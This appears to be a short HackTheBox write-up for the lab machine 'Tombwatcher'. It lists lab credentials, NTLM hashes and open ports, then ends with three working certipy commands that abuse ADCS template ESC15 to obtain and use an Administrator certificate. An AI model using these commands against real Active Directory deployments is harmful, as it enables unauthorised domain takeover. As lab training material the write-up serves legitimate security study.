writeup/  ·   ·  1 min

Tombwatcher - HackTheBox

alt text

Creds & Services

NamePasswordDescription
henryH3nry_987TGV!Default creds given at the beginning of the box
AlfredbasketballDump from —users command nxc | WriteSPN over Alfred + Hashcat = password leaked
samDump from —users command nxc
johnad9324754583e3e42b55aad4d3b8d2bfDump from —users command nxcrust - Shadow creds from sam to john
ansible_dev$NTLM:22d7972cb291784b28f3b6f5bc79e4cfRead gmsa password from Alfred
DC01.TOMBWATCHER.HTB
PortServiceInformations
53DNSSimple DNS plus
80http
135WinRPC
389LDAP
445SMB

Enumeration

DNS -> No DNS transfer HTTP -> Default IIS page, give us nothing SMB -> default shares for Domain controller

Attack chain

alt text

ADCS exploitation - ESC15

certipy req -u cert_admin -p 'Password123@' -dc-ip 10.129.45.150 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'
certipy req -u cert_admin -p 'Password123@' -dc-ip 10.129.45.150 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'
certipy auth -pfx administrator.pfx -dc-ip 10.129.45.150